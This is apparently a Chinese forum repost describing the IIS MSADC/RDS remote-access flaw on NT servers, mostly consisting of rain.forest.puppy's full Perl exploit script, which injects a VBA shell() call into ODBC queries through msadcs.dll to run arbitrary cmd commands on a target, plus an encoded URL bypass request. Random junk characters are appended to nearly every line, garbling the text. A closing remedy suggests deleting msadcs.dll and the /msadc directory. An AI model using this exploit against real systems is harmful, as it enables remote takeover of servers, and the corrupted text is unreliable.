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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) +cw;a]o^>  
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涉及程序: RQ1`k,R=  
Microsoft NT server Z !qHL$  
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描述: j3W)5ZX  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 "F*'UfOwrZ  
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详细: UBUZ}ZIbN  
如果你没有时间读详细内容的话,就删除: $:YJ<HvG<  
c:\Program Files\Common Files\System\Msadc\msadcs.dll y'9 bs  
有关的安全问题就没有了。 & m'ttUG?  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 3xJ_%AD\'  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 S&C  
关于利用ODBC远程漏洞的描述,请参看: l&z)Q/>?pZ  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 0wzq{~\{=_  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 6tE<`"P!  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 0wmz2zKV  
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这里不再论述。 ' Vp6=,P  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ;btH[a iV  
&DMKZMj<Q*  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset DO!?]"  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 31n5n  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" !KUV ,>L  
9M)N2+hkZ  
#!perl Fn8d;%C  
# );^] is~  
# MSADC/RDS 'usage' (aka exploit) script ugM,wT&~Y  
# dz',!|>  
# by rain.forest.puppy WH.5vrY Z  
# M~/%V NX  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me p2|BbC\N  
# beta test and find errors! V4RtH  
rmCrP(  
use Socket; use Getopt::Std; N{]|!#  
getopts("e:vd:h:XR", \%args); n=vW oU9  
4MVa[ 0Y  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; \(lt [=  
#-9;Hn4x  
if (!defined $args{h} && !defined $args{R}) { C ^@~  
print qq~ R~,*W1G6sF  
Usage: msadc.pl -h <host> { -d <delay> -X -v } gJNp]I2R  
-h <host> = host you want to scan (ip or domain) kq[*q-:"x  
-d <seconds> = delay between calls, default 1 second d1c_F~h<  
-X = dump Index Server path table, if available W*q[f!@  
-v = verbose [TPr  
-e = external dictionary file for step 5 OBF2?[V~  
%bnDxCj"  
Or a -R will resume a command session eZ]4,,m  
P5+FZzQ  
~; exit;} OT_w<te  
#'Q_eBX  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; p;!'5 f  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} cS98%@DR  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 1*eWo~G  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); _MZqH8  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} @`N)`u85[  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } T4`.rnzyRb  
mAk@Q|u  
if (!defined $args{R}){ $ret = &has_msadc; Hnwir!=7  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} %y~=+Sm%m  
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print "Please type the NT commandline you want to run (cmd /c assumed):\n" G)b6Rit  
. "cmd /c "; y ?FKou'  
$in=<STDIN>; chomp $in; ellj/u61bj  
$command="cmd /c " . $in ; V4GcW|P4y  
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if (defined $args{R}) {&load; exit;} s4 o-*1R*`  
l>RW&C&T  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; g?ID}E ~<  
&try_btcustmr; 1"r6qYN!>  
}bG|(Wp9  
print "\nStep 2: Trying to make our own DSN..."; ~n#rATbxf  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; W@w#A]  
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print "\nStep 3: Trying known DSNs..."; Ed3 *fY  
&known_dsn; FO{K=9O  
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print "\nStep 4: Trying known .mdbs..."; ,z1X{  
&known_mdb; @|xcrEnP}B  
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if (defined $args{e}){ L$7 NT}L  
print "\nStep 5: Trying dictionary of DSN names..."; I U/HYBJH  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } N(v<*jn  
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print "Sorry Charley...maybe next time?\n"; dA[Z\  
exit; "E;]?s9x  
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############################################################################## M3j_sd'N  
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sub sendraw { # ripped and modded from whisker 7p&%0'BO1z  
sleep($delay); # it's a DoS on the server! At least on mine... H4 }^6><V  
my ($pstr)=@_; Ij hC@5qk  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ~A+D H  
die("Socket problems\n"); m!s/L,iJJ  
if(connect(S,pack "SnA4x8",2,80,$target)){ bWK}oYB*  
select(S); $|=1; Pe w-6u"  
print $pstr; my @in=<S>; !tGXh9g  
select(STDOUT); close(S); _f%Wk>A4  
return @in; v;X'4/ M  
} else { die("Can't connect...\n"); }} h_4o4#  
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############################################################################## ZYoWz(  
N^A&DrMF  
sub make_header { # make the HTTP request /#M|)V*wn  
my $msadc=<<EOT $D8eCjUm  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 %ci/(wL  
User-Agent: ACTIVEDATA @cNX\$J  
Host: $ip ]R/VE"-  
Content-Length: $clen `d, hP"jBc  
Connection: Keep-Alive -"iGcVV  
,Y EB?HA  
ADCClientVersion:01.06 +1Oi-$ 2-  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ?<\ K!dA  
~p{.4n2:  
--!ADM!ROX!YOUR!WORLD! Q_'3}:4  
Content-Type: application/x-varg <;:M:{RZY  
Content-Length: $reqlen  :\1:n  
*upl*zFf0  
EOT f{[U->#^  
; $msadc=~s/\n/\r\n/g; s4bLL  
return $msadc;} T_O\L[]p*  
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############################################################################## QT/TZ:  
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sub make_req { # make the RDS request }zi:nSpON  
my ($switch, $p1, $p2)=@_; EoqUFa,  
my $req=""; my $t1, $t2, $query, $dsn; =h^cfyj  
}!b9L]  
if ($switch==1){ # this is the btcustmr.mdb query ]%m0PU#  
$query="Select * from Customers where City=" . make_shell(); -crKBy  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . w `6qT3v  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} LUv>0G#L[  
#L.fGTb  
elsif ($switch==2){ # this is general make table query `<2y [<y  
$query="create table AZZ (B int, C varchar(10))"; Tm@d;O'E1  
$dsn="$p1";} VL"!.^'c  
"; tl>Ot  
elsif ($switch==3){ # this is general exploit table query SLO;c{EFH  
$query="select * from AZZ where C=" . make_shell(); iIu  
$dsn="$p1";}  L3P_  
=NwmhV  
elsif ($switch==4){ # attempt to hork file info from index server .4A4\-Cqe  
$query="select path from scope()"; Ub%+8 M  
$dsn="Provider=MSIDXS;";} XX",&cp02V  
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elsif ($switch==5){ # bad query t0p^0   
$query="select"; <#JJS}TLk  
$dsn="$p1";} Q4r)TR,  
MCU{@ \?Xf  
$t1= make_unicode($query); Fku9hB  
$t2= make_unicode($dsn); 9:CJl6~N)#  
$req = "\x02\x00\x03\x00"; orCD?vlh  
$req.= "\x08\x00" . pack ("S1", length($t1)); l@nkR&4[  
$req.= "\x00\x00" . $t1 ; ncf=S(G+  
$req.= "\x08\x00" . pack ("S1", length($t2)); e&?o  
$req.= "\x00\x00" . $t2 ; ,Khhu%$  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; N7k<q=r-  
return $req;} *xXa4HB  
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############################################################################## nY"9"R\.=  
~hPp)- A  
sub make_shell { # this makes the shell() statement 9*2A}dH  
return "'|shell(\"$command\")|'";} .Y[sQO~%  
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############################################################################## z-K?Ak B1  
(Y\aV+9[  
sub make_unicode { # quick little function to convert to unicode &}31q`  
my ($in)=@_; my $out; FW(y#Fmqs  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } :Eq=wbAw  
return $out;} T1c2J,+}R  
4A.ZMH  
############################################################################## C,+6g/{  
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sub rdo_success { # checks for RDO return success (this is kludge) 8P.UB{QNe  
my (@in) = @_; my $base=content_start(@in); @$z/=gsy  
if($in[$base]=~/multipart\/mixed/){ IwhZzw w  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} S',i  
return 0;} w35r\x +  
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############################################################################## &Al9%W  
q}*"0r  
sub make_dsn { # this makes a DSN for us !tBNA  
my @drives=("c","d","e","f"); /Za'L#=R  
print "\nMaking DSN: "; 5fPYtVm  
foreach $drive (@drives) { t=J\zyX!  
print "$drive: "; 2KMLpO&De  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . /\*,|y\<  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" aW]!$  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); !xyO  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; &#aQ mgDF  
return 0 if $2 eq "404"; # not found/doesn't exist >lQ&^9EI%  
if($2 eq "200") { zd AqGQfc  
foreach $line (@results) { F;Ms6 "K  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 2f ]CnD0$  
} return 0;} tmiRv.Mhn<  
3/mVdU?U  
############################################################################## ^:W.R7|  
Oi+(`  
sub verify_exists { ik02Q,J  
my ($page)=@_; =( b;Cow  
my @results=sendraw("GET $page HTTP/1.0\n\n"); a(&!{Y1bt  
return $results[0];} HB yk 1  
@=q,,t$r  
############################################################################## iD,iv  
LyO, ]  
sub try_btcustmr { w#g0nV"X6  
my @drives=("c","d","e","f"); [?VYxX@  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ;xaOve;9  
FLdO  
foreach $dir (@dirs) { {ve86 POY  
print "$dir -> "; # fun status so you can see progress de]r9$ D  
foreach $drive (@drives) { 9H:5XR  
print "$drive: "; # ditto 7q?u`3l  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; j J6Yz  
$reqlenlen=length( "$reqlen" ); @sv==|h  
$clen= 206 + $reqlenlen + $reqlen; J8I_tF6  
|4//%Ll/  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); pisjfNT`o  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} JViglO1\  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 0 ;kcSz  
Z)Y--`*  
############################################################################## 2MwR jh_  
c(Zar&z,E  
sub odbc_error { K}ACZT)Wp  
my (@in)=@_; my $base; Dv?'(.z  
my $base = content_start(@in); {bnNY  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this bG=CIa&@  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 4} uX[~e&  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; #=/eu=  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^G%Bj`%  
return $in[$base+4].$in[$base+5].$in[$base+6];} $by-?z((  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; CL%?K<um  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . /'?Fz*b  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 6+"P$Ed#i  
|1J=wp)#  
############################################################################## +RS>#zd/=  
Q >[*Y/`I  
sub verbose { i>6SY83B}  
my ($in)=@_; e:}8|e~T  
return if !$verbose; Q#P=t83  
print STDOUT "\n$in\n";} -IhFPjQ  
^Cb7R/R3  
############################################################################## %0T/>:1[E  
<cG .V |B  
sub save { "GoNTM5h  
my ($p1, $p2, $p3, $p4)=@_; qCK)FOU  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 2h0I1a,7  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 49n.Gc  
close OUT;} Kd^{~Wlz&z  
?z0f5<dL  
############################################################################## `C"Slz::  
:Z(?Ct&8  
sub load { |5)~WoV/G  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; r*]0PQ{?  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 86O"w*9  
@p=<IN>; close(IN); s mub> V  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ;;'b;,/  
$target= inet_aton($ip) || die("inet_aton problems"); f%9EZ+OP  
print "Resuming to $ip ..."; -}|GkTM  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; OD<0,r0f,  
if($p[1]==1) { tdg.vYMDPC  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; W Da;wt  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; I7b(fc-r  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ZxkX\gl91  
if (rdo_success(@results)){print "Success!\n";} ,t5X'sY L  
else { print "failed\n"; verbose(odbc_error(@results));}} *9)7.} uY  
elsif ($p[1]==3){ > kOca  
if(run_query("$p[3]")){ k7P~*ll$  
print "Success!\n";} else { print "failed\n"; }} l!e8=QlJ  
elsif ($p[1]==4){ l=*^FK]L`  
if(run_query($drvst . "$p[3]")){ {V%ZOdg9  
print "Success!\n"; } else { print "failed\n"; }} Ib.`2@ o&  
exit;} Im%|9g;P  
,}F2l|x_  
############################################################################## j{N;2#.u  
Z'dY,<@  
sub create_table { 2pFOC;tl  
my ($in)=@_; c/ %5IhX?  
$reqlen=length( make_req(2,$in,"") ) - 28; ;SkC[;`J  
$reqlenlen=length( "$reqlen" ); ~(Gv/x  
$clen= 206 + $reqlenlen + $reqlen; U~Aw=h5SD  
my @results=sendraw(make_header() . make_req(2,$in,"")); ^zkTV_,cRp  
return 1 if rdo_success(@results); , RfU1R  
my $temp= odbc_error(@results); verbose($temp); &3v{~Xg)  
return 1 if $temp=~/Table 'AZZ' already exists/; ; iQ@wOL]  
return 0;} 0?l|A1I%   
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############################################################################## ]YkF^Pf!v  
[9UKVnX.V  
sub known_dsn { g6 EdCG.V  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go xG0IA 7  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", f ^mxj/%L  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", YXXUYi~!f  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); d}tn/Eu?B  
9x.vz  
foreach $dSn (@dsns) { Dr6"~5~9w  
print "."; OO_{ o  
next if (!is_access("DSN=$dSn")); WpC@ nz?  
if(create_table("DSN=$dSn")){ 3P Twpq1  
print "$dSn successful\n"; "lLt=s2>L  
if(run_query("DSN=$dSn")){ zNRoFz.  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { (u85$_C  
print "Something's borked. Use verbose next time\n";}}} print "\n";} K1uN(T.Ju  
A@*P4E`xp  
##############################################################################  w_G/[R3  
G;615p1  
sub is_access { @va{&i`%A7  
my ($in)=@_; 6HpSZa  
$reqlen=length( make_req(5,$in,"") ) - 28; I^/Ugu  
$reqlenlen=length( "$reqlen" ); VBR@f<2L  
$clen= 206 + $reqlenlen + $reqlen; ;5#P?   
my @results=sendraw(make_header() . make_req(5,$in,"")); f2[z)j7  
my $temp= odbc_error(@results); OTd=(dwh  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); o1"U'y-9V  
return 0;}  S]ZO*+  
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############################################################################## &5/`6-K  
g#`(& k  
sub run_query { $/,qw   
my ($in)=@_; 3?Y%|ZVM  
$reqlen=length( make_req(3,$in,"") ) - 28; '[JrP<~^o  
$reqlenlen=length( "$reqlen" ); "[@-p  
$clen= 206 + $reqlenlen + $reqlen; KrVF>bq+  
my @results=sendraw(make_header() . make_req(3,$in,"")); ',8]vWsl  
return 1 if rdo_success(@results); isHa4 D0  
my $temp= odbc_error(@results); verbose($temp); I%%\;Dy  
return 0;} x*5' 6  
W5}.WFu  
############################################################################## aW %ulZ  
%Z&[wU~  
sub known_mdb { (Z.K3  
my @drives=("c","d","e","f","g"); K]zBPfx  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ^mFuZ~g;?  
my $dir, $drive, $mdb; NAV}q<@v  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Svn|vH  
J/w?Fa<  
# this is sparse, because I don't know of many .{HU1/!  
my @sysmdbs=( "\\catroot\\icatalog.mdb", -"Lia!Q]M  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", U/,`xA;v>  
"\\system32\\certmdb.mdb", *rp@`W5  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% s`Z(f:/6*  
Yg/e8Q2  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", S4s\tA<  
"\\cfusion\\cfapps\\forums\\forums_.mdb", /fA:Fnv  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 8gJ"7,}-'  
"\\cfusion\\cfapps\\security\\realm_.mdb", T*\'G6e  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", TWl':}  
"\\cfusion\\database\\cfexamples.mdb", jnt0,y A  
"\\cfusion\\database\\cfsnippets.mdb", X1:|   
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 65N;PH59D  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", bjPI:j*XU  
"\\cfusion\\brighttiger\\database\\cleam.mdb", - ,q&Zm  
"\\cfusion\\database\\smpolicy.mdb", s \#kqw\x  
"\\cfusion\\database\cypress.mdb", Z i$a6  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", *Au4q<   
"\\website\\cgi-win\\dbsample.mdb", ;M8N%  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ]jG%<j9A  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" W5$jIQ}Bw  
); #these are just Z4}Yw{=f  
foreach $drive (@drives) { Y[$[0  
foreach $dir (@dirs){ FOB9CsMe  
foreach $mdb (@sysmdbs) { 1>b kVA  
print "."; m^U\l9LE  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ {~16j"  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; T#J]%IDd  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ z|}Anc[\  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; eL^,-3JA(]  
} else { print "Something's borked. Use verbose next time\n"; }}}}} x*i5g`jx  
=w".B[r  
foreach $drive (@drives) { Xo(K*eIN  
foreach $mdb (@mdbs) { 6 )0$UW  
print "."; WXNJc  
if(create_table($drv . $drive . $dir . $mdb)){ IyOujdKa  
print "\n" . $drive . $dir . $mdb . " successful\n"; ?Z( 6..&  
if(run_query($drv . $drive . $dir . $mdb)){ -}2q-  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; [sFD-2y  
} else { print "Something's borked. Use verbose next time\n"; }}}} ZNFn^iuQ  
} \`{ YqOT  
~yt+xWV  
############################################################################## BI;in;Ln  
]. 1[H~5N  
sub hork_idx { rv;w`f  
print "\nAttempting to dump Index Server tables...\n"; 0Z2![n  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Gi]Pwo${  
$reqlen=length( make_req(4,"","") ) - 28; dQ`ch~HVUW  
$reqlenlen=length( "$reqlen" ); KLsTgo|J  
$clen= 206 + $reqlenlen + $reqlen; vrGRZa  
my @results=sendraw2(make_header() . make_req(4,"","")); y M , hF  
if (rdo_success(@results)){ :2 ?dl:l  
my $max=@results; my $c; my %d; $Xk1'AzB8  
for($c=19; $c<$max; $c++){ )eY3[>`  
$results[$c]=~s/\x00//g; cliP+#  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; n1DD+@  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; j?/T7a^  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; W)<us?5Ec5  
$d{"$1$2"}="";} $4>K2  
foreach $c (keys %d){ print "$c\n"; } p:k>!8.Qho  
} else {print "Index server doesn't seem to be installed.\n"; }} O]m,zk  
Sq-mH=rs]  
############################################################################## s=~r. x  
-nN}8&l  
sub dsn_dict {  s4;SA  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); q3T'rw%Eh  
while(<IN>){ ?5'UrqYSW  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; <bXfjj6YJ@  
next if (!is_access("DSN=$dSn")); qW][Q%'lt  
if(create_table("DSN=$dSn")){ vNd4Fn)H  
print "$dSn successful\n"; TTmNPp4q  
if(run_query("DSN=$dSn")){ `DC)U1  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { G~8C7$0z  
print "Something's borked. Use verbose next time\n";}}} ~7 C` a$  
print "\n"; close(IN);} fph*|T&R  
epW;]> l  
############################################################################## -2K`:}\y&  
9w}A7('  
sub sendraw2 { # ripped and modded from whisker 8D)*~C'85E  
sleep($delay); # it's a DoS on the server! At least on mine... -HP [IJP  
my ($pstr)=@_; $?(fiFC  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ss236&  
die("Socket problems\n"); x76<u:  
if(connect(S,pack "SnA4x8",2,80,$target)){ '2/48j X5  
print "Connected. Getting data"; }7X85@jC  
open(OUT,">raw.out"); my @in; 5=., a5  
select(S); $|=1; print $pstr; wB?;3lTS  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 7od!:<v/  
close(OUT); select(STDOUT); close(S); return @in; OY51~#BF  
} else { die("Can't connect...\n"); }} 'd|_i6:y&  
jv5p_v4%O  
############################################################################## u(\b1h n  
#8%Lc3n  
sub content_start { # this will take in the server headers '?v.O}  
my (@in)=@_; my $c; ^B1Q";# B^  
for ($c=1;$c<500;$c++) { +*DXzVC  
if($in[$c] =~/^\x0d\x0a/){ .B"h6WMz  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ]. IUQ*4t  
else { return $c+1; }}} /"~CWNa  
return -1;} # it should never get here actually i=o<\ {iV:  
+[V?3Gdb  
############################################################################## @;G}bYq^(I  
Tr(w~et  
sub funky { 3E+u)f lmB  
my (@in)=@_; my $error=odbc_error(@in); :p=IZY  
if($error=~/ADO could not find the specified provider/){ PE]jYyyHtU  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; V!DQ_T+a  
exit;} Fj7cI +  
if($error=~/A Handler is required/){ (m-(5 CaJ  
print "\nServer has custom handler filters (they most likely are patched)\n"; S)n ~^q  
exit;} My5h;N@C  
if($error=~/specified Handler has denied Access/){ BQ)zm  
print "\nServer has custom handler filters (they most likely are patched)\n"; pI( OI>~3  
exit;}} L@ql)Lc);  
2J|Wbey  
############################################################################## }Rt?p8p  
=sG  C  
sub has_msadc { !n}"D:L(  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Hb#8?{  
my $base=content_start(@results); Ih{(d O;  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); \6T&gX  
return 0;} H8mmmt6g  
C^2Tql  
######################## *<i { Mb Q  
vc^qpOk  
SYw>P1  
解决方案: u1~H1 ]Ii  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ss-{l+Z5  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 (ye1t96  
MQG(n+c  
拿出来充数 哈哈
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